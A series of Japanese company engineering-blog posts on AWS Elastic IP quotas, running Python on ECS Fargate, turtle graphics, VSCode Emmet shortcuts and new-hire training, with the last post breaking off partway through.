きっかけ はじめまして、私はインフラエンジニア（42）です。 突然ですが、のっぴきならない事情にて以下のような要件の環境を至急手に入れる必要がありました。 EC2を42台準備 EC2にはSSH接続をする SSH接続する際のIPアドレスは変えたくない 時期によってインスタンスタイプを変更 EC2インスタンスのインスタンスタイプを変更するには、そのインスタンスを先に停止する必要があります。 EC2インスタンスを停止後に再起動しますとパブリックIPは変わってしまいます。 つまり上記の要件を満たすためには42個の固定IPが必要となります。 早速Elastic IPアドレスを なんとmaximumと怒られてしまいました… どうやらElastic IPはリージョンあたり5つまでと制限されているらしいのです。 パブリックインターネットアドレスは数に限りのあるリソースなので仕方がないのですが、そうも言ってられません。 今回は Service Quotas というAWSのサービスを利用して、Elastic IPの上限を緩和してみましたのでこの記事に残しておきます。 上限緩和のお願いをしていく サービス>Service Quotas>ダッシュボード Service Quotasのダッシュボードを開くと、その環境内での色々なサービスで上限があるとわかりますね。 AWSのサービス上で「EC2」と検索し、EC2サービスクォータ上で「IP」と検索すると お目当てのElastic IPまでたどり着くことが出来ました。 EC2-Classicというのは、単一のフラットネットワーク内で稼働するインスタンス環境のことで、VPCが提供される前に提供されていました。 ちなみに2022年8月15日に廃止になりました。 というわけで今回はこっちを選択します。 デフォルトのクォータ値は5のようです。 42まで爆上げしてみます。 保留中のリクエストに入りました。 上限緩和されてた 数日後、解決されていました。 具体的に何日ほどだったのか確認できておらず申し訳ないのですが本当に「数日程度」でした。 おまけ Service Quotasって一体何だったんだ AWS アカウントには、AWS のサービスごとにデフォルトのクォータがあり、基本的にはリージョンごとに存在しています。 ちなみに以前はクォータではなく「制限」と呼ばれていたそうです。 Service Quotas は、AWS のサービスクォータを 1 か所から管理できるようにする AWS のサービスです。 機能としては以下の2つです。 クォータ値を確認 クォータの引き上げをリクエスト Service Quotas でのリクエスト対象として、まだ利用可能になっていないサービスもあります。 その場合は AWS サポートセンターを使用してクォータの引き上げをリクエストすることができるとのことです。 課金体系としては、クォータの引き上げを行っただけでは請求は発生しません。 実際にAWSのサービスを使用したりリソースを作成した時点から請求が発生します。 今回はのっぴきならない理由で42個もEIPを取得することにはなりましたが、 クォータによって、ユーザーが必要以上にサービスを使用して請求額が膨大になってしまうことも防いでくれていると考えられます。

はじめに 今年もアドベントカレンダーの季節がやってきました。マイナビからも20人以上の社員が参加して、クリスマスまで毎日記事を投稿しますのでお楽しみに！ Twitterでも発信中 マイナビの公式Techアカウントでも、毎日更新していきます。 こちらもぜひご覧ください！ @mynavi_tech

はじめに Webマーケティング課（現デジタルテクノロジー戦略本部）のY.Dです。 研修期間中に2年目社員×1年目社員との交流会を行いました。 本記事はその様子をまとめたものです。 去年1年目を経験した私からしたら 1年目の不安 は凄まじいものです。新人には優しい組織であることが良い組織ではないかと思うので、時間を見つけて企画してみました！ 進行 2年目の同期に色々協力いただき、以下のプログラムで実施しました。 ①2年目の自己紹介 ②嘘ほんと自己紹介（1年同士） ③共通点探しワーク（1年×2年） 目的 交流会前の1年目の状態 開催日、1年目は入社4日目（営業日換算）というまさに 入社したてほやほや なコンディションでした。この状況からどのような内容が良いか検討しました。 １年目の状態（予想） 入社4日目 新人研修中の真っ最中 現在はビジネスマナーや会社のことを学んでいる 新生活始めたて 住む場所や人間関係が一新された状態 上記のことから、毎日が張り詰めた感じ けっこうキツイ！ 新生活のストレスはキツイです。私は特にクラス替え直後とか嫌いでした。。 でも、このキツさはある程度の人間関係の構築でマシにはなると思いました。 なので・・・ 1年目同士＋1年目と2年目の人間関係が作れて、かつ、肩の力を抜ける 企画！ ⇒が、ベストだと考え、内容を考えました。 「人間関係を作る」には徹底的な自己開示ワークを というわけで、人間関係の構築に欠かせない、自己開示を 自己紹介の進化系 みたいなワークで進める方向性になりました。 ワーク①：嘘ほんと自己紹介 ルール 以下の項目で自己紹介を行う。しかし、各々１つだけ嘘を入れる。 ・自己紹介の項目は４つ ①好きなもの・得意なこと ②嫌いなもの・苦手なこと ③学生時代のこと（バイトや部活・・・） ④自慢できること 一人が自己紹介👉嘘当てタイム👉次の人 ※発表者は嘘だと当てられないように善処して進める。 ワークの意図 このワークの意図は「 嘘を入れることで注意して聞くようになる 」ところにあります。時にはメモを取りながら聞いている人もおり、話す方も話し方や嘘を入れるタイミング等を工夫することで、ゲーム性のあるワークになりました。アイスブレイクとしてちょうどいい重さであったと感じています。 ワーク②：共通点探しゲーム ルール ワークの意図 共通点を見つけようと、お互いに質問しまくる展開が予想されます。（つまり、自己開示の連続となる）一方的に話す自己紹介よりも対話形式になることで、よりフラットで軽いコミュニケーションが発生しました。 実際のシート ⇒私が参加した班のシートです。 　「優秀」「有能」「会社の宝」など自己肯定感が高めの班でした！ ⇒優勝チームのシートです。後半は人間そのものの共通点なので、ちょっとずるい感じもしますが、発想が良いですね！10分で37個なので1分間に3.7個の共通点を発見できる計算となります。 凄いですね まとめ 我々2年目においても非常に充実した2時間くらいだったと思います。エンジニアとしての知識や技術の研修だけではなく、このような取り組みをすることで、良い人間関係につながり、結果的に本務での連携力にもつながるかなとも思います。 今回の目的は「1年目同士＋1年目と2年目の人間関係が作れて、かつ、肩の力を抜ける」でしたが、新入社員以外でもこういった時間は必要かもしれません。 最後に当日の様子をお送りします。 ※研修自体は40～50%のテレワーク率で実施しています。この日は出社日ということで、より仲を深めようと交流会を企画しました！ 以上、お読みいただきありがとうございました！

はじめに 社内の開発PJにて、現在EC2で稼働中のPython（およびシェルスクリプト）ファイルをFargate化するタスクを担当してます。 これまでDockerやECS（Fargate）を触ったことがなかったので、試しに hello_world.py をECS Fargate で実行してみるってところから始めたので、その備忘録になります。 サーバの用意 Docker環境用のサーバを用意します。 本備忘録ではEC2を使用しています。 Pythonファイルの用意 "Hello World"の文字列を返すだけのPythonファイルを用意します。 # hello_world.pyprint("hello_world") 実行できる事を確認 [ec2-user@ip-172-31-0-42 ~]$ python3 hello_world.py hello_world Docker環境の用意 ECS Fargate は AWSが用意する コンテナ サービスになります。 コンテナはアプリケーションの環境を効率的に構築できる技術で、それを管理するツールとして Docker が広く利用されています。 ※Docker以外のコンテナ管理ツールは、Podman/Skopeo/Buildahがあげられるようです。 Dockerに触れたことがない方は、以下の記事を読んでみる事をおススメします。 すごくわかりやすいです。 Docker入門（第一回）～Dockerとは何か、何が良いのか～ https://knowledge.sakura.ad.jp/13265/ Dockerをインストールする EC2に以下コマンドでDockerをインストール・起動します。 # dockerインストール$ sudo yum install docker# docker起動$ sudo systemctl start docker# サーバを再起動してもdockerが起動している（active）状態にする$ sudo systemctl enable docker# dockerの状態確認$ systemctl status docker★active状態になっていればOK Dockerfileの作成 コンテナを起動する（今回の場合、Pythonを動かす）ためには、 Docker イメージ を作成する必要があります。 ※Dockerイメージとは、コンテナを起動する上でのテンプレートファイルです。 Dockerイメージを作成するためには、その設計書となる Dockerfile が必要となるため、こちらを作成します。 #Dockerfile# python イメージをベースにするFROM python:2.7-slim-busterCOPY hello_world.py hello_world.pyCMD python hello_world.py ※Dockerfileは今回の場合、hello_world.pyと同じ階層に設置します（別の階層にする場合は、COPY の ファイル名の前にパスを指定する必要があります） Docker環境でpythonファイルを動かす 作成した Dockerfile をもとにDockerイメージを作成し、イメージからコンテナを起動（Pythonファイルを動か）します。 Dockerfileが存在するディレクトリでDockerイメージを作成します。 $ docker build -t hello_world . 作成したDockerイメージを確認します。 $ docker images★REPOSITORY に hello_world があればOK Dockerイメージをもとにコンテナを起動します。 docker run hello_world★「hello_world」が返ってくればOK ECS Fargate でPythonを動かす Dockerイメージが作成できたので、ECS Fargate上でPythonファイルを動かしてみます。 EC2のIAMロールにECRアクセス用のポリシーを割り当てる 以下の「ECRに作成したイメージをプッシュ」を行うためには、EC2にECRアクセス用のIAM Roleを割り当てる必要があります。 以下画像の通り、ECRアクセス用ポリシー（ AmazonEC2ContainerRegistryFullAccess ）をEC2のIAMロールに割り当てます。 ECRに作成したイメージをプッシュ イメージの格納先として、Amaozon ECRを利用します。 AWSマネジメントコンソールから「ecr」と検索し、リポジトリを選択します。 「リポジトリを作成」を押下し、以下のように設定し、リポジトリを作成します。 可視性設定 プライベート リポジトリ名 iy-test-repository 以下のようにリポジトリが作成されたら、「プッシュコマンドの表示」にて表示されるコマンドをEC2（Docker環境）にて実行します EC2（Amazon Linux）上で実行するため「macOS / Linux」を選択 1.のDockerクライアント認証については、そのまま実行 「Login Succeeded」が返ってきたらOK ※上記で対応した、IAMロールにECRアクセス用のポリシーを割り当てていないとうまく認証ができません。 こちらはすでにイメージを作成済みのため、実行しなくてOK そのまま実行してもよいし、お好きなタグに変更してもOK 何もエラーが出ない事を確認 そのまま実行 いろんなリソースが「Pushed」されればOK リポジトリ内にイメージがプッシュされればOK ※「イメージのURI」の情報は後で使います タスク定義を作成する タスク定義 ではイメージからコンテナを作成するための定義を定められます。 https://docs.aws.amazon.com/ja_jp/AmazonECS/latest/developerguide/task_definitions.html それでは、やっていきます。 マネジメントコンソールのECSからタスク定義を選択し、「新しいタスク定義の作成」を押下します。 起動タイプに「FARGATE」を選択する コンテナの定義を設定する タスク定義名 iy-test-task-definition タスクメモリ（GB） 0.5GB（最小スペック） タスク CPU（vCPU） 0.25 vCPU（最小スペック） コンテナの追加 以下画像の通りに指定 コンテナ名 iy-test-container イメージ 上で取得した「イメージのURI」をコピペ 作成を押下し、タスク定義が作られていればOK クラスターを作成し、Pythonファイルを実行 ECSからクラスターを選択し、「クラスターの作成」を押下します。 クラスターテンプレートに「ネットワーキングのみ」を選択する クラスターの設定をする クラスター名 iy-test-cluster 作成したクラスターから「作成」を押下 サービスの設定をする 起動タイプ FARGATE タスク定義 iy-test-task-definitionを選択 サービス名 iy-test-service タスクの数 1 ネットワーク構成を設定する クラスターVPC 適当なVPCを選択 サブネット 適当なサブネットを選択 Auto Scaling（オプション） 「サービスの必要数を直接調整しない」を選択 確認画面にて設定を確認し、「サービスの作成」を押下すると、サービス・タスクが表示されます。 タスクの詳細から「ログ」を開くと、hello_worldが返ってきている事を確認できます。 よく使うDockerコマンド 頻繁に利用するDockerコマンドを紹介します。 他にも色々なコマンドがあるので、気になる方はぜひ調べてみてください！ ▼dockerイメージの作成（ビルド） $ docker build ▼既存のdockerイメージ一覧を確認 $ docker images ▼イメージからコンテナを起動 $ docker run <イメージ> ▼起動中のコンテナ一覧を確認 $ docker ps★「docker ps -a」とすると、起動していないコンテナも含めて確認できる ▼既存のコンテナの削除 $ docker rm <CONTAINER ID> ▼dockerイメージの削除 $ docker rmi <IMAGE ID>★「docker rmi -f <IMAGE ID> ...」とすると複数のイメージを一気に削除できる 参考 https://dev.classmethod.jp/articles/amazon-ecr-ecs-fargate

初めに 大学の講義で一度学んだタートルグラフィックスで亀の絵を描いてみたいという野望を長年持っていました。 今回、同じ野望を持つ人がイメージできるよう本記事を作成いたしました。 なお今回はGoogle Colaboratoryを用いているので環境構築については記入いたしません。 タートルグラフィックスとは タートルグラフィックス(Turtle Graphics)とは亀を操作して図を描写することが出来る機能です。 Wally Feurzeig, Seymour Papert, Cynthia Solomon が 1967に開発したLogo プログラミング言語の機能の一つです。 例えば以下のようなことを行うことが出来ます。 for i in range(5): turtle.forward(100) turtle.right(144) 本記事の目的 タートルグラフィックスを用いて、亀の絵を描いてみることです。 楽しく(遊びながら)プログラムに触れることが出来ます。 こんな人におすすめの記事です!! 亀で亀を描くとは？と興味を持った人 Python初心者 Pythonで絵を描いてみたい人 亀がちょこまか動くのを見て癒されたい方 亀で亀を描くという夢を持っている人 本題 亀を描くにあたって以下を考える必要があります。 亀の向き(角度) 亀の動く距離 特に亀の向きを考えることが、タートルグラフィックスを用いて絵を描くうえで重要です。 イメージ図 コードを書く前にまずイメージ図を書きました。(ibisPaintというスマホアプリで作成) イメージを明確化することで、迷いなくプログラムを書くことが出来ます。 今回は 甲羅を描く 甲羅の下線を書く 頭の下線を描く 頭の曲線を描く 足・しっぽを描く の順に実践しました。 コード タートルグラフィックスのインストール まず、Google Colaboratory内で、タートルグラフィックスを使用できるようにします。 !pip install ColabTurtleimport ColabTurtle.Turtle as turtleturtle.initializeTurtle() 今回使用した主なコード 今回、使用した主なコードの説明をします。 基本的に以下を用いれば図を描くことが可能です。 turtle.forward(100) #亀が向いている方向へ100移動するturtle.left(90) #亀が向いている方向から左に90度傾くturtle.right(90) #亀が向いている方向から右に90度傾くturtle.home() #最初の位置・角度に戻るturtle.penup() #書き込みをしないturtle.pendown() #書き込みをするturtle.write("A", font=(40, "Arial", "normal")) #Aの文字を記入 甲羅の作成 甲羅の作成を行います。 図を書いて亀の向きを計算しながらコードを書いています。 このタイミングで直径を求めず、しっぽを生やすことを決意しました。 そのため、イメージ図と違いしっぽが生えています。 import ColabTurtle.Turtle as turtleturtle.initializeTurtle()turtle.pendown()turtle.color('green') #亀の色と言えば緑!!turtle.right(30-4) #*亀の傾きをx軸と平行に最後8度回転してしまう為4度引くfor i in range(30): #240度分の扇を描く turtle.forward(5) turtle.left(8)turtle.left(60-4) #*と同じ修正turtle.forward(80) #体の線を書くturtle.penup() #書き込みをしない(移動のため)turtle.left(180)turtle.forward(80) #元の場所へ戻るturtle.pendown() #ここから記入 頭の作成 次に頭の作成を行いました。 頭は、計算せず、見た目で角度や長さを決めています。 turtle.forward(30) #頭の下の作成turtle.right(18) #良い感じの傾きにしたfor i in range(15): #240度の扇を描く turtle.right(16) turtle.forward(5) 足・しっぽの作成 また、足・しっぽの作成を行いました。 頭を書いた時点で位置(座標)が不明になってしまったため一度ホームに戻りました。 #後ろ足作成turtle.left(26)turtle.penup() #書き込みをしない(移動のため)turtle.home() #最初の位置に戻るturtle.pendown() #ここから記入turtle.left(162) #*と同じ修正(180-18)for i in range(5): turtle.forward(5) turtle.right(36) #前足作成turtle.penup() #書き込みをしない(移動のため)turtle.home() #最初の位置に戻るturtle.left(90) turtle.forward(42) turtle.pendown() #ここから記入turtle.left(108) #*と同じ修正(90+18)for i in range(5): turtle.right(36) turtle.forward(5)#しっぽを作成turtle.penup() #書き込みをしない(移動のため)turtle.home() #最初の位置に戻るturtle.pendown() #ここから記入turtle.right(90) for i in range(3): # 段々細くなるしっぽへ変更 turtle.pensize(6-2*i) turtle.forward(5) 文字を追加・亀の位置を移動 文字を追加しました。 また、ベストショットにする為、最後亀に移動してもらいました。 turtle.penup()turtle.goto(290,175)#文字を書くturtle.pendown()turtle.write("K", font=(40, "Arial", "normal"))turtle.penup()turtle.forward(40)turtle.pendown()turtle.write("A", font=(40, "Arial", "normal"))turtle.penup()turtle.forward(40)turtle.pendown()turtle.write("M", font=(40, "Arial", "normal"))turtle.penup()turtle.forward(40)turtle.pendown()turtle.write("E", font=(40, "Arial", "normal"))turtle.penup()turtle.forward(40)# 亀を良い位置に移動するturtle.pendown()turtle.penup()turtle.home()turtle.forward(30)turtle.left(90)turtle.forward(30) わかったこと やるうえで必要なこと (恐らくGoogle Colaboratoryでは)円を描くことが出来ない為、直径を計算する必要があり、イメージ図を書かないと難しいと思います。 亀の向き(角度)がわからない時はHOMEに戻ると良いです。 タートルグラフィックスを学ぶのにおすすめな人・おすすめでない人 スピードがかなり遅い(このコードで一分程度かかります)為、本格的にプログラムに興味がある人には向きません。 プログラムって難しい・苦手だけど絵を描くのは好きという人におすすめです。

初めに T.Tです。有料のプログラミング学習ツールを利用して勉強している中でこれを知っていればつよつよエンジニアに一歩近づけるといった知識をいくつか習得したのでいくつか共有しようと思い、作成しました。 実行環境 VSCode [学生時代読み方をバーサスだと思っていました。プログラミングでみんなが悪戦苦闘しながらバトルし続けるツールだから（笑）] ※基本的なコーディングソフトではすべて対応していると思います。 HTML裏技5選！ ①ひな形作成 操作方法：！(エクスクラメーション)＋Enter <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title></head><body></body></html> 操作はたったこれだけです。これまで大学の授業とかでHTMLを作成するた度に""と最初から表記していました。これは初知りでした。 ②タグの高速作成 操作方法：使用するタグのスペル＋Enter(ex. link + Enterの場合) <link rel="stylesheet" href=""> ③タグの高速作成(応用) 操作方法：div.○○＋Enter <div class="oo"></div> 「.」(ドット)は「その中の」の意味のとしての場所やクラスの意味をあらわすことが多いですね 操作方法：ul>li*2＋Enter <ul> <li></li> <li></li> </ul> 「>」(大なり)はテーブル系の相性が良く、作成したいリストの数を入力すると作成してくれるのでこれも効率化できますね！ ④文章の自動生成 操作方法：lorem＋Enter Lorem ipsum dolor sit amet consectetur adipisicing elit. Neque officia laboriosam nulla repudiandae amet quae in fugit velit, debitis dicta voluptate consequuntur veniam fugiat quaerat obcaecati sit. Nam, sequi culpa! プリント文など長文の文章を仮置きして、実行でのサイト表示などを確認したいときに便利です。 ⑤改行せずに画面内に表示したい！！！ ④のように長文を書いたはいいけど文に間違いがないか画面内に表示して確認したい。そんな時が下記の操作です。 操作方法：Alt＋z // HTML Lorem ipsum dolor sit amet consectetur adipisicing elit. Neque officia laboriosam nulla repudiandae amet quae in fugit velit, debitis dicta voluptate consequuntur veniam fugiat quaerat obcaecati sit. Nam, sequi culpa! 改行したらタグが外れて変になる言語もあるので便利ですね！ おまけ：コピーライトで使用するタグ <small></small> サイトのコピーライトの記載で慣習的に割り当てられるそうです。 終わりに いかがだったでしょうか？たかがHTML、されどHTMLということでHTMLもコーディングを効率化できる方法はまだまだたくさんあるみたいです。ほかのプログラミング言語でも同じような裏技もたくさんあると思うのでどんどん活用していきたいですね！ 追記 vscodeで1~4の略式記法が使用できるのは、vscodeがEmmetに対応しているからでのようです。 Emmet公式チートシート一覧

はじめに はじめまして！2022年度新入社員のらいおんです！ 今年度の新人研修では、技術研修の運営も新卒社員がおおむね担当しました。 約2か月あった研修期間を3つの期間に分けて、それぞれ10人ほどの班で運営を行い、各期間の最後に成果報告会を行いました！ 研修運営では、主に朝会・夕会の進行、講師の方々のアテンド、研修会場や道具の準備など、研修を行うために必要な業務を行っていました。 そして先日、システム職の新人社員研修を終えた同期と一緒に、研修運営を振り返りしました。 今回のエンジニアブログでは、振り返り内容を座談会形式でお伝えしていきます！ ▼研修カリキュラムの詳細については別記事にまとめていますので、ぜひこちらもご覧ください！ ###card_post_id=711### 研修運営を行った目的 そもそもなんで研修運営をやったの？ 「自分たちの受ける研修の運営をなんでやったの？」「技術職ならもっと技術の研修に集中した方がいいのでは？」と思う方もいるかもしれません。 私自身も、はじめに話を聞いた時は驚きました。 しかし、ここには マイナビは「主体性」を求められる会社 だという背景があります。 マイナビという会社は事業会社であり、お客さんから依頼を受けるのではなく自らビジネスを作りだしている会社です。 そのため、依頼をこなすだけではなく、作り出したビジネスに対して自ら課題を見つけて解決を目指すことが求められます。 よって営業職・システム職問わず「主体性」を求められます。 (参考: 株式会社マイナビ ITスペシャリスト採用 ) その主体性を伸ばしていくために、今回の新人研修では新人が運営を行いました。 実際に新人たちが主体性を伸ばせたかは座談会を見ていただけばわかると思います！ 新入社員の紹介 まずは、座談会に参加してくれた新入社員の紹介をします！ らいおん：ファシリテーター 今回の企画の発起人＆主編集者。 情報系の学部を卒業しました。 オフィスワーク＆趣味の舞台観劇で連日姿勢が固定され続けています。 丸くてかわいいキーが付いたキーボードが欲しい今日この頃。 とら：運営1班代表 運営1班代表＆本記事の共同編集者。 情報系の学部を卒業しました。 社会人になって京都から上京してきたので東京の名所開拓にハマった結果、体の節々を痛めています。 ぞう：運営2班代表 運営2班代表＆本記事の共同編集者。 ITとは無縁な人文系の学部を卒業しました。 プログラミングを本格的に学んだのは研修が初めて。 周りは理系出身者が多く、興味やこだわりを持つポイントが自分と違って、そこも勉強になりました！ くま：運営3班代表 運営3班代表＆本記事の共同編集者。 四捨五入したら30歳になる非情報系の理系院卒です。 学部卒とのジェネレーションギャップを感じてます。 最近無糖のカフェオレを飲めるようになりました。 研修のスケジュール 今年度の新人研修は以下のスケジュールで進行しました。 IT研修から開発演習までの約2か月の間、３つの班で交代しながら研修運営を行いました。 また、運営担当期間が終了した次の日に成果報告会を行い、運営課題と改善策、その実績や残った課題を発表し、次の運営班に引き継ぎをしました。 成果報告会は研修生だけでなく、新卒研修担当部署の方々や研修講師の方々に発表を聞いていただきました。 座談会 研修や運営を振り返って みなさんは研修や研修運営を振り返ってみてどう思いましたか？ 僕は学校生活みたいだな、と思ってた。 IT職の同期が39人で、ちょうど学校のクラスくらいだから。 でも、運営業務で講師の方のアテンドをする中で、礼儀や作法といった社会人としての基礎の部分も身に付けられたから、 学校みたいだったけど学生気分ではいられなかった な。 運営に関していうと、私たち1班は一番最初に運営をすることになったから、0から1を作り出す段階だった。 わからないことだらけだったから、みんなと協力して 「運営はこうすればよくなるのでは」 という基盤を作ることが大変だったかな！ 私は研修自体も運営も大変だった、って印象が強いかな（笑） 初学者で研修についていくのが大変な中で、運営のことも考えなきゃいけないのが負担だった......。 あとは運営をやっていく中で、 考え方や価値観がみんなそれぞれ違う っていうことを実感したかな。 自分がこうしよう！と考えて実行したことが本当にベストであるかを、みんなの意見から考えさせられたし、自分の視野も広げられたと思う。 たしかにIT初学者も経験者もいたからこその苦労がありましたね。 物事に対する考え方もバラバラな中、息を合わせて研修運営をすることが個人的にも大変だったと思います。 技術的に新しく学ぶことも多い中で、礼儀作法といった社会人に必要なことを同時に学んだことはかなり負荷が高かったですが、その分今は達成感も感じています。 運営活動の中で印象的なエピソード 研修期間は1チームあたり、およそ3週間ありました。 その中で、大変なことだったり印象的なエピソードはありましたか？ 1班は役割をこなすので精一杯の人が多かったかな。 運営を担当したのが一番最初だったから、 「どんな仕事をどうやってするべきか」 を0から決めていく必要があって、なかなか他の部分に手が回らなかった。 例えば、成果報告会に向けた資料作成をすることは前々から共有していたけれど、結局忙しくて作り始めた時期はギリギリだった（笑） でも、1班が仕事の基本をしっかり作ってくれたから仕事がしやすかったよ。 確かに！忙しかったけれど仕事をやりきって、次の班に業務を丁寧に引き継ぎできた自信がある！ その後も2班の研修運営で気づいたことがあったらアドバイスをしていたよ。 1班は成果報告会で、 相手目線に立って考える ことを運営活動を通し学べたと発表していました。 一番はじめに運営という立場に立って苦労したからこそ、次の運営をする2班にアドバイスできるようになったのかもしれませんね！ 1班が基盤づくりで手一杯だった分、2班は1班のやっていたことをもとにして、業務効率化のためにシステムを作ってくれたよね！ 1班は毎日タスクのリマインドを手動でしてたけど、2班はツールを使ったタスク管理システムを作っていてすごいと思った。 うん！他にも運営の仕事の効率化のためにシステムを作ったよ。 あと、私たちの班は 「本当に研修生のためになるかどうか」という視点 で運営方針が考えられていたことが良かったなと思うよ。 私が提出物の管理担当になった時に、最初はタスクの締切について細かいリマインドをしようとしていたんだ。 けれど、同じ担当の同期に "自分がやってあげるのではなく、主体性を促すためのサポートが大事だよね" と言われたんだ。 2班の成果報告会で、「研修を終えても 新人が自ら考え主体的に動ける人になる こと」を目標に運営活動を行ったと言っていましたね。 そう。だから私も、そのことに気づいてからサポートすることを意識するようになったよ。 2班の担当期間が終了した段階ではまだ受動的になっている研修生はいたけど、改善のための下地は作れたかなと思う。 成果報告会でも課題として挙げて、3班に引き継いだよ。 僕たちが担当した時期は、研修がチーム開発演習に入って忙しくなった時期だった。みんなが、提出物などの 研修外でやるべきことに、手が回らなくなってきていた な。 だから、スプレッドシートで提出物を管理するだけじゃなくて、運営班で夕会の時間に提出物を出したか確認をするようになった。 研修が大詰めになったのもあって、研修生に慣れが出た時期でしたね……。 実際、開発演習は本当に大変で、朝からずっと話し合いや書類作成に追われていました。 最初は夕会の時に1人が全体にリマインドを行ってたけど、状況はあまり改善されなかった。 だから、 各開発チームごとにいる運営班のメンバーが班に向けてリマインド をするようにしたよ。 各チームのメンバーは6、7人だったから指示も通りやすくなって、本当に提出したかどうかという細かなチェックもできるようになった！ 他にも、朝会の時間を使って 「昨日は運営活動にどのくらい協力できたか、今日はどのように貢献していくか」を振り返って班で共有する時間 を設けたよ。 3班は 状況に合わせて今までのやり方を変えていた ところが印象的でしたね。 それによって、研修が忙しくても運営活動に意識が向き、研修生みんなが以前より主体的に動けるようになったと思います！ 全体研修が終わり、現在社内インターンシップ研修を行っています。研修運営で身に付けたスキルは活かせていると思いますか？ 活かせてると思ってるよ。 個人的に、新人研修でこれまでやってきたことを 無駄にしたら意味がない と思ったんだ。だから、ToDoリストやよく使うリンク集を自分で作ったよ！仕事の整理や、自分をコントロールするという意味でも大事だと思ったからね。 私も活かせていると思う！ 前よりも、 課題の本質を考えるようになった と思う。 目先の課題を解決することももちろん大切だけど、一時的に良くなるだけではもったいないと思うようになった。 まだ実務は未経験だから分かった気になるのも良くはないかもしれない。 けど、改善すること自体より、その改善された状態が継続されるような 「仕組みづくり」 を重視して、与えられた課題の解決案を考えるようになったなって思う。 僕も活かせてると思う！ 1つめは、受け身ではなく 主体的に動く ようになったことかな。 何か疑問に思うことがあった時に、当事者意識を持って自分から聞くということができるようになったかなと思います。 2つ目は 挨拶や礼儀 。 特に社外の方への対応は学生時代には経験することがなかったけど基本は身についたと思う。あんまり丁寧過ぎても違和感があると思うけど、しっかり失礼のないような態度を学べたよ。 3つ目は、 自分だけでやろうとせずに、人に任す、任される ってことかな。 会社や社会ってチームでやるものだと思うから、自分だけでやろうとせずに、かといって誰かに押し付けるわけでもなく、協力し合って補い合うことも研修で身につけられたかなと思います。 他にも、 「全体のタスクを把握する力」 や 「話し合いの際、合意形成を取る力」 、 「みんなから注目を浴びるときのクッション言葉」 のように、主体性だけでなく様々なスキルが身についたという声が上がりました。 感想も、「たのしかった！」という意見も「しんどかった......。」という意見もどちらもありましたが、アンケートに回答していただいた29人(IT職新人の約75%)は全員 「運営をやってみて良かった！」 と思っていただけたようです！ 最後に 以上が座談会の内容になります。 運営活動では互いに得手不得手を理解しあって、支えあうことも身につけられたと感じています。 座談会を通して、マイナビのエンジニア職に興味を持っている方々に「入社したらこんなことをやるんだ！」というイメージや、「こんな考えをもつ新入社員が働いているんだ」というイメージが、少しでも伝わっていたら嬉しいです！ ということで、今回の記事を締めたいと思います。ありがとうございました！

はじめに はじめまして！22卒で開発エンジニアとして新卒入社したS.Kです！ この記事では、今年度マイナビのシステム職向けの研修について、具体的にどんなことを学んだのか紹介していこうと思います。 主にマイナビのシステム職の研修内容が気になっている学生の皆さんを対象として、イメージがつかめるような記事を作りたいと思いますので、ぜひ参考にしてみてください！ 全体のスケジュールと前提情報 スケジュール まず最初に、研修のスケジュールをまとめました。システム職の新人研修は、3か月間にわたります。 3か月間で、社会人としての基礎からWEBアプリの開発演習、新規事業提案まで幅広い内容を学びます。 最初は「3か月って長いな..」と思っていたのですが、1つ1つの単元がとても充実していたため、あっという間に終わってしまいました。 09:15の始業から、17:45の終業までみっちりやりますので、大学時代のスケジュールと比較しても、結構タイトだと思います。その分、集中して勉強に取り組むことが出来ましたし、同期・先輩社員ともとても仲良くなれました！ また、私たちの研修は以下の2点の特徴があります。 技術力の幅 22卒では、システム職の採用はシステムエンジニア職、開発エンジニア職、データサイエンティスト職、WEBマーケティング職の4つに分かれています。 採用職種によって一概に技術力を判別することはできませんが、例えばwebマーケティング職ではあまりコーディングをするような業務は想定されないので、ITが未経験の同期もいます。 そういった様々なバックグラウンドを持つ同期が同一の研修を受けるため、苦手な人は得意な人に教わって、得意な人は苦手な人に教える、といった場面がたくさんありました。 研修運営 会場の用意や講師の方のアテンド、連絡事項などを新入社員自身でやるのも今回の研修の特徴でした。 これに関しては、別の記事で詳しくまとめているので、併せて読んでみてください！ ▼研修運営についてはこちら！同期で座談会を行いました！ ###card_post_id=696### 以上の点で、ただ技術を教わる以上に、社会人として、マイナビ社員として、必要な要素を身に着けられる研修だったのかなと思います。 ここからは、それぞれの研修について説明していきます。 マナー研修、事業部研修など マナー研修 入社式を終えた僕たちを待っていたのは、マナー研修でした。 マナー研修と事業部研修は営業などの他の職種の方と一緒に行います。 主に以下の内容を学びました。 電話応対 名刺交換 あいさつ メール 言葉遣い,,,etc 名刺交換・電話応対など、おそらく多くの人がイメージしているマナー研修の内容と一致していると思います。技術力だけでなく、このような社会人・ビジネスマンとしての基礎も身に付けられるのはマイナビのシステム職ならではなのかなと思います。 マナー研修を通じて学んだことは「この数年でオンラインMTGや在宅ワークが浸透してきてコミュニケーション量が以前より減ってきているけど、機会が限られているからこそ、言葉遣いや身だしなみ、振る舞いには気をつけないといけない」でした。 改めて自分の言動を見つめ直す、良い機会になったと思います。 使用した教材の一部 事業部研修 続いて、5日間の事業部研修です。 事業部研修というのは、就職事業部（代表サービス：マイナビ20XX）、転職事業部（代表サービス：マイナビ転職）、アルバイト事業部（代表サービス：マイナビバイト）のいずれかの事業部で、営業職と一緒にビジネスモデル／営業フローの学習・テレアポの練習などをする内容となっています。 「システム職はITのことだけ学べばいいじゃないか」と思う方もいるかもしれませんが、事業会社のエンジニアとして、実際に自分たちが作ったサービスがどのように使われているのか、どのようにマネタイズされているのかについて知ることは、とても価値があったなと個人的に思います。 また、コミュニケーション力や行動力に秀でている営業職の同期を見ていると、刺激を受けて自分ももっと頑張ろうとも思いました。 オンボーディング研修 3日間のオンボーディング研修では、本格的なIT研修が始まる前準備として、miroなどのツールを使用したグループでのディスカッションの仕方や、3C分析によるマイナビの研究、自社サービスの新規機能の提案などを行いました。 miroを使用したディスカッション 上の図からも分かるように、システム職というよりは、ビジネス寄りの研修となっています。 例えば3C分析では、自社のビジネスの振り返りから始まり、競合他社の分析などを行ったうえで、今後のマイナビのビジネスの考察まで行いました。 また、自社サービスの新規機能の提案では、Point of Xやバリューマップといったビジネスのフレームワークを使用しながら、タイトな時間設定の中、考えに考え抜いて最終的な提案を行いました。 この研修を通して、改めてマイナビの業界内での立ち位置であったり、今後の進むべき方向性について考えることが出来ました。 